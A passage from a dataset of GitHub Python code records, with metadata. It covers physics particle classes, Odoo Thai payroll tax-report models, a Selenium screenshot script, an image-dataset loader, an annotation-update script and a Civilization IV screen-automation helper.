pt_nominal(self):\n if self._pt_nominal != -1111.:\n return self._pt_nominal\n return self.obj.pt()\n\n @cached_property\n def fourvect(self):\n vect = asrootpy(self.obj.p4())\n return vect\n\n @cached_property\n def privtx(self):\n return Vector3(\n self.obj.vertex().x(),\n self.obj.vertex().y(),\n self.obj.vertex().z())\n\n @cached_property\n def secvtx(self):\n if self.obj.nTracks() < 2:\n return self.privtx\n else:\n return Vector3(\n self.obj.secondaryVertex().x(),\n self.obj.secondaryVertex().y(),\n self.obj.secondaryVertex().z())\n\n @cached_property\n def decay_vect(self):\n return self.secvtx - self.privtx\n\n @cached_property\n def decay_length(self):\n return self.decay_vect.Mag()\n\n @cached_property\n def decay_angle(self):\n return self.decay_vect.Angle(self.fourvect)\n\n\nclass MCTauFourMomentum(FourMomentum):\n\n @cached_property\n def fourvect_vis(self):\n vect = LorentzVector()\n try:\n vect.SetPtEtaPhiM(\n et2pt(self.vis_Et, self.vis_eta, self.vis_m),\n self.eta, self.phi, self.m)\n except ValueError:\n log.warning(\"DOMAIN ERROR ON TRUTH 4-VECT: \"\n \"Et: {0} eta: {1} m: {2}\".format(\n self.vis_Et, self.vis_eta, self.vis_m))\n vect.SetPtEtaPhiM(0, self.eta, self.phi, self.m)\n return vect\n\n\nclass ElectronFourMomentum(FourMomentum):\n\n @cached_property\n def fourvect(self):\n if ((self.nSCTHits + self.nPixHits) < 4):\n # electron with low number of tracker hits\n eta = self.cl_eta\n phi = self.cl_phi\n et = self.cl_E / math.cosh(self.cl_eta)\n else:\n eta = self.tracketa\n phi = self.trackphi\n et = self.cl_E / math.cosh(self.tracketa)\n\n vect = LorentzVector()\n vect.SetPtEtaPhiE(et, eta, phi, self.cl_E)\n return vect\n\n\nclass MCParticle(FourMomentum):\n\n def __init__(self):\n self._particle = pdg.GetParticle(self.pdgId)\n FourMomentum.__init__(self)\n\n @cached_property\n def num_children(self):\n return len(self.child_index)\n\n @cached_property\n def num_parents(self):\n return len(self.parent_index)\n\n def get_child(self, index):\n index = self.child_index[index]\n return getattr(self.tree, self.name)[index]\n\n def get_parent(self, index):\n index = self.parent_index[index]\n return getattr(self.tree, self.name)[index]\n\n def iter_children(self):\n try:\n for child in self.child_index:\n yield getattr(self.tree, self.name)[child]\n except GeneratorExit:\n pass\n\n def iter_parents(self):\n try:\n for parent in self.parent_index:\n yield getattr(self.tree, self.name)[parent]\n except GeneratorExit:\n pass\n\n def traverse_children(self):\n try:\n for child in self.iter_children():\n yield child\n for desc in child.traverse_children():\n yield desc\n except GeneratorExit:\n pass\n\n def traverse_parents(self):\n try:\n for parent in self.iter_parents():\n yield parent\n for ancestor in parent.traverse_parents():\n yield ancestor\n except GeneratorExit:\n pass\n\n def is_stable(self):\n return self.status == 1\n\n @cached_property\n def first_self(self):\n for parent in self.iter_parents():\n if parent.pdgId == self.pdgId:\n return parent.first_self\n return self\n\n @cached_property\n def last_self(self):\n for child in self.iter_children():\n if child.pdgId == self.pdgId:\n return child.last_self\n return self\n\n @cached_property\n def final_state(self):\n if self.is_stable():\n return [self]\n return [particle for particle in self.traverse_children()\n if particle.is_stable()]\n\n @cached_property\n def fourvect(self):\n vect = LorentzVector()\n vect.SetPtEtaPhiM(\n self.pt,\n self.eta,\n self.phi,\n self.m)\n # self._particle.Mass() * GeV)\n return vect\n\n def export_graphvis(self, out_file=None):\n def particle_to_str(particle):\n return ('%s\\\\n'\n 'mass = %.3f MeV\\\\n'\n 'pt = %.3f GeV\\\\n'\n 'eta = %.2f\\\\n'\n 'status = %d') % (\n particle._particle.GetName(),\n #particle._particle.Mass() * GeV,\n particle.m,\n particle.pt / GeV,\n particle.eta,\n particle.status)\n\n def recurse(particle, parent=None):\n out_file.write('%d [label=\"%s\"] ;\\n' % (\n particle.barcode, particle_to_str(particle)))\n\n if parent is not None:\n # Add edge to parent\n out_file.write('%d -> %d ;\\n' % (\n parent.barcode,\n particle.barcode))\n\n # recurse on children\n for child in particle.iter_children():\n recurse(child, particle)\n\n close_file = True\n if out_file is None:\n out_file = open('event.dot', 'w')\n elif isinstance(out_file, basestring):\n out_file = open(out_file, 'w')\n else:\n close_file = False\n\n out_file.write('digraph Tree {\\n')\n out_file.write('size=\"7.5,10\" ;\\n')\n out_file.write('orientation=landscape ;\\n')\n recurse(self, None)\n out_file.write('}')\n\n if close_file:\n out_file.close()\n else:\n return out_file\n\n def __repr__(self):\n return self.__str__()\n\n def __str__(self):\n return (\"%s (\"\n \"status: %d, \"\n \"m: %.3f MeV, pt: %.1f GeV, eta: %.2f, phi: %.2f\" %\n (self._particle.GetName(),\n self.status,\n #self._particle.Mass() * GeV,\n self.m,\n self.pt / GeV,\n self.eta, self.phi))\n", "repo_name": "htautau/hhntup", "sub_path": "higgstautau/mixins.py", "file_name": "mixins.py", "file_ext": "py", "file_size_in_byte": 11748, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "85", "api": [{"api_name": "utils.dR", "line_number": 44, "usage_type": "call"}, {"api_name": "utils.dR", "line_number": 47, "usage_type": "call"}, {"api_name": "rootpy.vector.LorentzVector", "line_number": 59, "usage_type": "call"}, {"api_name": "rootpy.asrootpy", "line_number": 64, "usage_type": "call"}, {"api_name": "decorators.cached_property", "line_number": 62, "usage_type": "name"}, {"api_name": "rootpy.vector.LorentzVector", "line_number": 83, "usage_type": "call"}, {"api_name": "rootpy.vector.LorentzVector", "line_number": 87, "usage_type": "call"}, {"api_name": "units.GeV", "line_number": 88, "usage_type": "name"}, {"api_name": "decorators.cached_property", "line_number": 85, "usage_type": "name"}, {"api_name": "hadhad.filters.IDNONE", "line_number": 121, "usage_type": "name"}, {"api_name": "rootpy.asrootpy", "line_number": 204, "usage_type": "call"}, {"api_name": "decorators.cached_property", "line_number": 202, "usage_type": "name"}, {"api_name": "rootpy.vector.Vector3", "line_number": 209, "usage_type": "call"}, {"api_name": "decorators.cached_property", "line_number": 207, "usage_type": "name"}, {"api_name": "rootpy.vector.Vector3", "line_number": 219, "usage_type": "call"}, {"api_name": "decorators.cached_property", "line_number": 214, "usage_type": "name"}, {"api_name": "decorators.cached_property", "line_number": 224, "usage_type": "name"}, {"api_name": "decorators.cached_property", "line_number": 228, "usage_type": "name"}, {"api_name": "decorators.cached_property", "line_number": 232, "usage_type": "name"}, {"api_name": "rootpy.vector.LorentzVector", "line_number": 241, "usage_type": "call"}, {"api_name": "utils.et2pt", "line_number": 244, "usage_type": "call"}, {"api_name": "decorators.cached_property", "line_number": 239, "usage_type": "name"}, {"api_name": "math.cosh", "line_number": 262, "usage_type": "call"}, {"api_name": "math.cosh", "line_number": 266, "usage_type": "call"}, {"api_name": "rootpy.vector.LorentzVector", "line_number": 268, "usage_type": "call"}, {"api_name": "decorators.cached_property", "line_number": 256, "usage_type": "name"}, {"api_name": "rootpy.extern.hep.pdg.GetParticle", "line_number": 276, "usage_type": "call"}, {"api_name": "rootpy.extern.hep.pdg", "line_number": 276, "usage_type": "name"}, {"api_name": "decorators.cached_property", "line_number": 279, "usage_type": "name"}, {"api_name": "decorators.cached_property", "line_number": 283, "usage_type": "name"}, {"api_name": "decorators.cached_property", "line_number": 330, "usage_type": "name"}, {"api_name": "decorators.cached_property", "line_number": 337, "usage_type": "name"}, {"api_name": "decorators.cached_property", "line_number": 344, "usage_type": "name"}, {"api_name": "rootpy.vector.LorentzVector", "line_number": 353, "usage_type": "call"}, {"api_name": "decorators.cached_property", "line_number": 351, "usage_type": "name"}, {"api_name": "units.GeV", "line_number": 372, "usage_type": "name"}, {"api_name": "units.GeV", "line_number": 420, "usage_type": "name"}]} +{"seq_id": "15977932329", "text": "from odoo import api, fields, models, _\nfrom ..utils.const import PND1_LINES\nimport logging\n\n_logger = logging.getLogger(__name__)\n\n\nclass ThailandPND1Line(models.AbstractModel):\n _name = \"thailand.pnd1.line.common\"\n _inherit = \"thailand.compliance.common.line\"\n _description = \"PND1 Line Common\"\n\n income_type = fields.Selection(PND1_LINES, string=\"Income Type\", readonly=True)\n nb_persons = fields.Integer(\n string=\"Number of Persons\", compute=\"_compute_line\", store=True\n )\n income_amount = fields.Monetary(\n string=\"Income Amount\", compute=\"_compute_line\", store=True\n )\n tax_withheld = fields.Monetary(\n string=\"Tax Withheld\", compute=\"_compute_line\", store=True\n )\n\n def _serialize(self):\n \"\"\"Serialize the PND1 report to be sent to the API\"\"\"\n self.ensure_one()\n serialized = {\n f\"no_persons_{self.income_type}\": self.nb_persons,\n f\"income_amount_{self.income_type}\": self.income_amount\n if self.income_amount\n else 0,\n f\"tax_amount_{self.income_type}\": self.tax_withheld\n if self.tax_withheld\n else 0,\n }\n return serialized\n\n @api.depends(\"income_type\")\n def _compute_line(self):\n \"\"\"Compute the line for the PND1 detail report by calling the method according to the income type\"\"\"\n for rec in self:\n (\n rec.nb_persons,\n rec.income_amount,\n rec.tax_withheld,\n rec.attachment_line,\n ) = eval(f\"rec.compute_line_{rec.income_type}()\")\n\n def compute_line_1(self):\n self.ensure_one()\n return self.compute_from_attachment_line(tax_3_percent=False)\n\n def compute_line_2(self):\n self.ensure_one()\n return self.compute_from_attachment_line(tax_3_percent=True)\n\n def compute_line_3(self):\n self.ensure_one()\n return 0, 0, 0, []\n\n def compute_line_4(self):\n self.ensure_one()\n return 0, 0, 0, []\n\n def compute_line_5(self):\n self.ensure_one()\n return 0, 0, 0, []\n\n def compute_line_values(self, attachment_lines):\n income_amount, tax_withheld, rec_attachment_lines = 0, 0, []\n for line in attachment_lines:\n income_amount += line.amount_paid\n tax_withheld += line.tax_withheld\n rec_attachment_lines.append(line.id)\n return income_amount, tax_withheld, rec_attachment_lines\n\n\nclass ThailandPND1AttachmentLineCommon(models.AbstractModel):\n _name = \"thailand.pnd1.attachment.line.common\"\n _description = \"PND1 Attachment Line Common\"\n _inherit = \"thailand.compliance.common.line\"\n\n conditions = [\n (\"1\", \"Deducted at source\"),\n (\"2\", \"Paid tax for recipient every time\"),\n (\"3\", \"Paid tax for recipient one time\"),\n ]\n\n employee_id = fields.Many2one(\"hr.employee\", string=\"Employee\")\n condition = fields.Selection(conditions, string=\"Condition\", default=\"1\")\n employee_name = fields.Char(\n string=\"Employee Name\", related=\"employee_id.given_names\"\n )\n employee_surname = fields.Char(\n string=\"Employee Surname\", related=\"employee_id.family_name\"\n )\n employee_position = fields.Char(\n string=\"Position\", related=\"employee_id.job_id.name\"\n )\n amount_paid = fields.Monetary(string=\"Amount Paid (GROSS)\")\n tax_withheld = fields.Monetary(string=\"Tax Withheld\")\n\n def _serialize(self, n, p):\n \"\"\"Serialize the PND1 report to be sent to the PDF form\"\"\"\n return {\n f\"number_{n}_{p}\": n,\n f\"recipient_name_{n}_{p}\": self.employee_name,\n f\"recipient_surname_{n}_{p}\": self.employee_surname\n if self.employee_surname\n else self.employee_id.name,\n f\"recipient_pin_{n}_{p}\": self.employee_id.format_pid(),\n f\"recipient_tin_{n}_{p}\": self.employee_id.tin,\n f\"amount_paid_{n}_{p}\": self.amount_paid if self.amount_paid else \"\",\n f\"tax_withheld_{n}_{p}\": self.tax_withheld if self.tax_withheld else \"\",\n f\"condition_{n}_{p}\": self.condition,\n }\n", "repo_name": "jonathangodot/MY-Outsourcing-Ltd", "sub_path": "thai_compliance_payroll/models/thailand_pnd1_attachment_common.py", "file_name": "thailand_pnd1_attachment_common.py", "file_ext": "py", "file_size_in_byte": 4154, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "logging.getLogger", "line_number": 5, "usage_type": "call"}, {"api_name": "odoo.models.AbstractModel", "line_number": 8, "usage_type": "attribute"}, {"api_name": "odoo.models", "line_number": 8, "usage_type": "name"}, {"api_name": "odoo.fields.Selection", "line_number": 13, "usage_type": "call"}, {"api_name": "utils.const.PND1_LINES", "line_number": 13, "usage_type": "argument"}, {"api_name": "odoo.fields", "line_number": 13, "usage_type": "name"}, {"api_name": "odoo.fields.Integer", "line_number": 14, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 14, "usage_type": "name"}, {"api_name": "odoo.fields.Monetary", "line_number": 17, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 17, "usage_type": "name"}, {"api_name": "odoo.fields.Monetary", "line_number": 20, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 20, "usage_type": "name"}, {"api_name": "odoo.api.depends", "line_number": 38, "usage_type": "call"}, {"api_name": "odoo.api", "line_number": 38, "usage_type": "name"}, {"api_name": "odoo.models.AbstractModel", "line_number": 78, "usage_type": "attribute"}, {"api_name": "odoo.models", "line_number": 78, "usage_type": "name"}, {"api_name": "odoo.fields.Many2one", "line_number": 89, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 89, "usage_type": "name"}, {"api_name": "odoo.fields.Selection", "line_number": 90, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 90, "usage_type": "name"}, {"api_name": "odoo.fields.Char", "line_number": 91, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 91, "usage_type": "name"}, {"api_name": "odoo.fields.Char", "line_number": 94, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 94, "usage_type": "name"}, {"api_name": "odoo.fields.Char", "line_number": 97, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 97, "usage_type": "name"}, {"api_name": "odoo.fields.Monetary", "line_number": 100, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 100, "usage_type": "name"}, {"api_name": "odoo.fields.Monetary", "line_number": 101, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 101, "usage_type": "name"}]} +{"seq_id": "16986994589", "text": "from selenium import webdriver\n\n# 1. Open a browser and go to any website\nurl = \"https://www.n12.co.il/\"\ndriver = webdriver.Chrome()\ndriver.get(url)\n\n# Set the zoom level to 67% using JavaScript\nzoom_script = \"document.body.style.zoom='67%'\"\ndriver.execute_script(zoom_script)\n\n# 2. Take a screenshot of the current page and save it to a file\ndriver.save_screenshot(\"screenshot.png\")\nprint(\"Screenshot captured and saved.\")\n\n# 3. Retrieve the page source and save it to a text file\npage_source = driver.page_source\nwith open(\"page_source.txt\", \"w\", encoding=\"utf-8\") as file:\n file.write(page_source)\nprint(\"Page source retrieved and saved.\")\n\n# 4. Close the browser\ndriver.quit()\n", "repo_name": "mydadisalive/python-advanced-course", "sub_path": "selenium3.py", "file_name": "selenium3.py", "file_ext": "py", "file_size_in_byte": 684, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "selenium.webdriver.Chrome", "line_number": 5, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 5, "usage_type": "name"}]} +{"seq_id": "35045841465", "text": "from __future__ import division\n\nimport numpy as np\nimport torch\nfrom torch.utils.data import Dataset\nfrom torchvision import transforms\nimport os\nimport cv2 as cv\n\nimport config\n\nclass GANeratedDataset(Dataset):\n def __init__(self):\n super(GANeratedDataset, self).__init__()\n\n\ndef get_splitted_image_names(root_dir, withobj=0):\n img_names = np.array([])\n if withobj==0:\n types = ['noObject/', 'withObject/']\n elif withobj==1:\n types = ['noObject/']\n else:\n types=['withObject/']\n\n for img_type in types:\n folders = os.listdir(root_dir + img_type)\n folders = [img_type + x + '/' for x in folders if len(x) == 4]\n\n for folder in folders:\n images = os.listdir(root_dir + folder)\n images = [root_dir + folder + x for x in images if x.find('.png') > 0]\n img_names = np.hstack((img_names, images))\n print(len(img_names))\n # img_names = np.sort(img_names)\n # np.random.seed(42)\n # np.random.shuffle(img_names)\n #\n # val = img_names[:5000]\n # test = img_names[5000:10000]\n # train = img_names[10000:]\n #\n # return {'train': train, 'test': test, 'val': val}\n\nif __name__ == '__main__':\n get_splitted_image_names(config.GANeratedHands_PATH)", "repo_name": "liwenssss/Hands3D", "sub_path": "dataset/GANeratedHands_dataset.py", "file_name": "GANeratedHands_dataset.py", "file_ext": "py", "file_size_in_byte": 1264, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "torch.utils.data.Dataset", "line_number": 12, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 18, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 27, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 33, "usage_type": "call"}, {"api_name": "config.GANeratedHands_PATH", "line_number": 46, "usage_type": "attribute"}]} +{"seq_id": "19788142637", "text": "import os\nimport json\n\nimport config\nimport util\n\nwith open(config.project_dir + 'update/instances.json') as update_instances_file:\n update_instances = json.load(update_instances_file)\n\npredict_annotations_dir = config.project_dir + 'predict/annotations/'\n\nfor annotations_file_name in os.listdir(predict_annotations_dir):\n\n with open(predict_annotations_dir + annotations_file_name) as predict_annotations_file:\n predict_annotations = json.load(predict_annotations_file)\n\n for predict_annotation in predict_annotations:\n if 'gt_annotation_index' not in predict_annotation:\n\n image_id = predict_annotation['image_id']\n\n if image_id not in update_instances:\n update_instances[image_id] = {\n 'width': predict_annotation['width'], 'height': predict_annotation['height'], 'annotations': []}\n\n update_bboxes = update_instances[image_id]['annotations']\n\n update_bboxes.append({'category_id': predict_annotation['category_id'],\n 'bbox': predict_annotation['bbox']})\n\nutil.write_json_file(\n update_instances, config.project_dir + 'update/instances.json')\n", "repo_name": "Study-is-happy/automatedfishdetection", "sub_path": "predict_to_update.py", "file_name": "predict_to_update.py", "file_ext": "py", "file_size_in_byte": 1220, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "config.project_dir", "line_number": 7, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 8, "usage_type": "call"}, {"api_name": "config.project_dir", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 12, "usage_type": "call"}, {"api_name": "json.load", "line_number": 15, "usage_type": "call"}, {"api_name": "util.write_json_file", "line_number": 31, "usage_type": "call"}, {"api_name": "config.project_dir", "line_number": 32, "usage_type": "attribute"}]} +{"seq_id": "28600776162", "text": "import os\nimport functools\nimport threading\nimport operator\nimport uuid\nimport time\nimport json\nfrom types import SimpleNamespace\nimport pathlib\nfrom communication.procs import ThreadedProcessHandler\nfrom recognition.actions.library import _mouse as mouse, window, stdlib, _keyboard as keyboard\n\nSTART_TURN_BUILD = 'Start Turn Build'\nCITY_BUILD = 'City Build'\n\ndef proc():\n return stdlib.namespace['state'].civ4['proc']\n\nresponses = {}\n\ndef window_coords():\n x, y, w, h = window.active_window().coords\n return {'left': x, 'top': y, 'width': w, 'height': h}\n\ndef window_to_absolute_coords(x, y):\n win_coords = window.active_window().coords\n winx, winy = win_coords[0], win_coords[1]\n return winx + x, winy + y\n\ndef location_center(loc):\n x = loc['left'] + loc['width']//2\n y = loc['top'] + loc['height']//2\n return x, y\n\ndef click_location(loc):\n x, y = location_center(loc)\n mouse.move(x, y)\n mouse.click()\n\ndef poll_scene(start_proc):\n custom_game = {'scene': 'Custom Game', 'validation assets': ['pane slider']}\n req = {\n 'type': 'match',\n 'scenes': [\n custom_game\n ]\n }\n while True:\n try:\n current_proc = proc()\n except AttributeError:\n return\n if current_proc is not start_proc:\n return\n resp = request(req)\n if resp:\n stdlib.namespace['state'].civ4.update({'scene': resp['scene'], 'matches': resp['matches']})\n else:\n stdlib.namespace['state'].civ4.update({'scene': None, 'matches': []})\n time.sleep(2)\n\ndef start():\n root = str(pathlib.Path(__file__).absolute().parent)\n package_root = os.path.join(root, 'package')\n python = os.path.join(package_root, 'scripts', 'python.exe')\n main_dir = os.path.join(package_root, 'civ4')\n main = os.path.join(main_dir, 'main.py')\n proc = ThreadedProcessHandler(python, main, on_output=_on_message, cwd=main_dir)\n stdlib.namespace['state'].civ4 = {'proc': proc, 'scene': None, 'matches': []}\n threading.Thread(target=poll_scene, args=(proc,)).start()\n\ndef stop():\n proc().kill()\n del stdlib.namespace['state'].civ4\n\ndef scene_match_skeleton(scene):\n if scene == 'Custom Game':\n validation_assets = ['pane slider']\n elif scene == START_TURN_BUILD:\n validation_assets = ['up arrow', 'down arrow', 'examine city']\n elif scene == CITY_BUILD:\n validation_assets = ['up arrow', 'down arrow']\n else:\n validation_assets = []\n return {'scene': scene, 'validation assets': validation_assets, 'assets': []}\n\ndef get_match_from_response(asset, resp):\n try:\n return resp['matches'][asset]\n except KeyError:\n pass\n\ndef add_ai():\n match = custom_game_scroll('down', 'top', check_fn=check_ai, count=18)\n if match:\n click_location(match)\n for i in range(2):\n keyboard.KeyPress.from_space_delimited_string('down').send()\n keyboard.KeyPress.from_space_delimited_string('up').send()\n keyboard.KeyPress.from_space_delimited_string('enter').send()\n\ndef check_ai():\n req = {\"type\": \"match\", \"scenes\": [{**scene_match_skeleton('Custom Game'), 'assets': ['open', 'closed']}]}\n resp = request(req)\n return get_match_from_response('open', resp) or get_match_from_response('closed', resp)\n\ndef custom_game_scroll(direction, menu, check_fn=lambda: False, count=1):\n check_result = check_fn()\n if check_result:\n return check_result\n count = parse_number(count)\n x, y = custom_game_scroll_location(direction, menu)\n mouse.move(x, y)\n for i in range(count):\n mouse.click()\n time.sleep(0.1)\n check_result = check_fn()\n if check_result:\n return check_result\n\ndef research_tech(tech):\n pass\n\ndef custom_game_scroll_location(direction, menu):\n asset_name = f'{direction} arrow'\n req = {\"type\": \"match\", 'multiple': True, \"scenes\": [{**scene_match_skeleton('Custom Game'), 'assets': [asset_name]}]}\n resp = request(req)\n if not resp:\n return\n matches = resp['matches'][asset_name]\n if len(matches) == 2:\n loc = matches[0] if menu == 'top' else matches[1]\n x, y = location_center(loc)\n y_adjustment = 0\n if menu == 'bottom':\n y_adjustment = 12 if direction == 'up' else -12\n return x, y + y_adjustment\n\ndef scroll(direction, count=1):\n count = parse_number(count)\n try:\n count = int(count)\n except (ValueError, TypeError):\n count = 1\n if count < 1:\n return\n asset_name = f'{direction} arrow'\n req = {\"type\": \"match\", \"scenes\": [{'scene': START_TURN_BUILD, 'assets': [asset_name]}, {'scene': CITY_BUILD, 'assets': [asset_name]}]}\n resp = request(req)\n if not resp:\n return\n x, y = location_center(resp['matches'][asset_name])\n if resp['scene'] == START_TURN_BUILD:\n y = y - 15 if direction == 'down' else y + 15\n mouse.move(x, y)\n for i in range(count):\n mouse.click()\n\ndef click_at(x, y):\n winx, winy, winw, winh = window.active_window().coords\n clickx = x + winx\n clicky = y + winy\n if x < 0:\n clickx += winw\n if y < 0:\n clicky += winh\n mouse.move(clickx, clicky)\n mouse.click()\n\ndef focus_unit(unit_asset, from_num, to_num, do_select):\n req = {\"type\": \"match\", 'multiple': True, \"scenes\": [{**scene_match_skeleton('Unit Selection'), 'assets': [unit_asset]}]}\n resp = request(req)\n if not resp['matches']:\n return\n locs = [location_center(x) for x in _normalize_rows(resp['matches'][unit_asset])]\n shift_pressed = False\n if do_select:\n keyboard.KeyPress.from_space_delimited_string('shift_hold').send()\n shift_pressed = True\n from_idx = _num_to_index(from_num, locs)\n to_idx = _num_to_index(to_num, locs)\n if to_idx is not None:\n from_idx, to_idx = sorted((from_idx, to_idx))\n else:\n to_idx = from_idx + 1\n click_at(*locs[from_idx])\n time.sleep(0.1)\n for x, y in locs[from_idx + 1: to_idx]:\n if not shift_pressed:\n keyboard.KeyPress.from_space_delimited_string('shift_hold').send()\n shift_pressed = True\n time.sleep(0.1)\n click_at(x, y)\n time.sleep(0.1)\n if shift_pressed:\n time.sleep(0.1)\n keyboard.KeyPress.from_space_delimited_string('shift_release').send()\n\ndef _normalize_rows(locations):\n return sorted(locations, key=functools.cmp_to_key(location_comparison))\n\ndef _num_to_index(num, collection):\n if not num:\n return num\n if num < 0:\n return len(collection) + num\n return num - 1\n\n# {\"type\": \"match\", \"assets\": [{\"scene\": \"Start Turn Build\", \"validation assets\": [\"up arrow\", \"down arrow\"], \"assets\": [\"settler\"]}], \"id\": \"abc\"}\n\ndef build(asset):\n win_coords = window_coords()\n req = {\"type\": \"match\", \"scenes\": []}\n for scene in (START_TURN_BUILD, CITY_BUILD):\n asset_collection = scene_match_skeleton(scene)\n if asset not in asset_collection['validation assets']:\n asset_collection['assets'].append(asset)\n req['scenes'].append(asset_collection)\n resp = request(req)\n scene = resp.get('scene')\n if not scene:\n return\n down_arrow = resp['matches'].get('down arrow')\n if resp['matches'] and asset in resp['matches']:\n click_location(resp['matches'][asset])\n elif down_arrow:\n downx, downy = location_center(down_arrow)\n if scene == START_TURN_BUILD:\n mouse.move(downx, downy - 15)\n elif scene == CITY_BUILD:\n mouse.move(downx, downy)\n scroll_and_click(scene, asset)\n\ndef custom_game_setting(num):\n req = {'type': 'match', 'scenes': [{**scene_match_skeleton('Custom Game'), 'assets': ['settings-selector']}], 'multiple': True}\n resp = request(req)\n matches = resp['matches']['settings-selector']\n idx = _num_to_index(num, matches)\n click_location(matches[idx])\n\ndef click_first_matching_asset(assets):\n for scene, asset in assets:\n if click_asset(scene, asset):\n break\n\ndef click_asset(scene, asset):\n loc = find_asset(scene, asset)\n if loc:\n click_location(loc)\n return True\n return False\n\ndef find_asset(scene, asset, multiple=False):\n win_coords = window_coords()\n req = {\"type\": \"match\", \"multiple\": multiple, \"scenes\": [{\"scene\": scene, \"assets\": [asset]}], 'window coords': win_coords}\n resp = request(req)\n if resp:\n return resp['matches'][asset]\n\ndef scroll_and_click(scene, asset):\n for i in range(10):\n mouse.click()\n time.sleep(0.1)\n success = click_asset(scene, asset)\n if success:\n return\n\ndef select_custom_game_player_option(row_idx, col_idx):\n req = {\"type\": \"match\", \"multiple\": True, \"scenes\": [{**scene_match_skeleton('Custom Game'), \"assets\": [\"top option selector\"]}]}\n resp = request(req)\n if not resp:\n return\n win_coords = window_coords()\n matches = resp['matches']['top option selector']\n rows = [[matches[0]]]\n heights = [matches[0]['top']]\n for match in matches[1:]:\n if match['top'] != rows[-1][-1]['top']:\n rows.append([])\n rows[-1].append(match)\n if row_idx == 0:\n win_coords = window_coords()\n is_first_row = len(rows[0]) == 4 and rows[0][-1]['left'] + 200 > win_coords['width']\n if is_first_row:\n if col_idx == 0:\n raise RuntimeError('Cannot select player')\n col_idx -= 1\n match = rows[row_idx][col_idx]\n click_location(match)\n\ndef parse_number(n, default=1):\n try:\n return int(n)\n except (ValueError, TypeError):\n return default\n\ndef request(msg):\n msg_id = str(uuid.uuid4())\n msg_with_id = {'id': msg_id, **msg}\n msg_str = json.dumps(msg_with_id)\n proc().send_message(msg_str)\n resp = None\n start = time.time()\n while resp is None:\n if resp is None:\n time.sleep(0.01)\n resp = responses.get(msg_id)\n del responses[msg_id]\n if 'error' in resp:\n raise RuntimeError(resp['error'])\n return resp['value']\n\ndef _on_message(msg_str):\n msg = json.loads(msg_str)\n if 'debug' in msg:\n print(msg['debug'])\n else:\n responses[msg['id']] = msg\n\ndef select_saved_game(num):\n match = find_asset(None, 'saved game icon', multiple=True)\n try:\n loc = match[num - 1]\n except IndexError:\n return\n click_location(loc)\n\ndef location_comparison(loc_a, loc_b):\n acmp = loc_a['top'], loc_a['left']\n bcmp = loc_b['top'], loc_b['left']\n threshold = 5\n if abs(acmp[0] - bcmp[0]) < threshold:\n acmp, bcmp = acmp[1], bcmp[1]\n if acmp == bcmp:\n return 0\n return 1 if acmp > bcmp else -1", "repo_name": "etfre/civ4", "sub_path": "civ4.py", "file_name": "civ4.py", "file_ext": "py", "file_size_in_byte": 10759, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "recognition.actions.library.stdlib.namespace", "line_number": 17, "usage_type": "attribute"}, {"api_name": "recognition.actions.library.stdlib", "line_number": 17, "usage_type": "name"}, {"api_name": "recognition.actions.library.window.active_window", "line_number": 22, "usage_type": "call"}, {"api_name": "recognition.actions.library.window", "line_number": 22, "usage_type": "name"}, {"api_name": "recognition.actions.library.window.active_window", "line_number": 26, "usage_type": "call"}, {"api_name": "recognition.actions.library.window", "line_number": 26, "usage_type": "name"}, {"api_name": "recognition.actions.library._mouse.move", "line_number": 37, "usage_type": "call"}, {"api_name": "recognition.actions.library._mouse", "line_number": 37, "usage_type": "name"}, {"api_name": "recognition.actions.library._mouse.click", "line_number": 38, "usage_type": "call"}, {"api_name": "recognition.actions.library._mouse", "line_number": 38, "usage_type": "name"}, {"api_name": "recognition.actions.library.stdlib.namespace", "line_number": 57, "usage_type": "attribute"}, {"api_name": "recognition.actions.library.stdlib", "line_number": 57, "usage_type": "name"}, {"api_name": "recognition.actions.library.stdlib.namespace", "line_number": 59, "usage_type": "attribute"}, {"api_name": "recognition.actions.library.stdlib", "line_number": 59, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 60, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 64, "usage_type": "call"}, {"api_name": "os.path", "line_number": 64, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path", "line_number": 65, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 66, "usage_type": "call"}, {"api_name": "os.path", "line_number": 66, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 67, "usage_type": "call"}, {"api_name": "os.path", "line_number": 67, "usage_type": "attribute"}, {"api_name": "communication.procs.ThreadedProcessHandler", "line_number": 68, "usage_type": "call"}, {"api_name": "recognition.actions.library.stdlib.namespace", "line_number": 69, "usage_type": "attribute"}, {"api_name": "recognition.actions.library.stdlib", "line_number": 69, "usage_type": "name"}, {"api_name": "threading.Thread", "line_number": 70, "usage_type": "call"}, {"api_name": "recognition.actions.library.stdlib.namespace", "line_number": 74, "usage_type": "attribute"}, {"api_name": 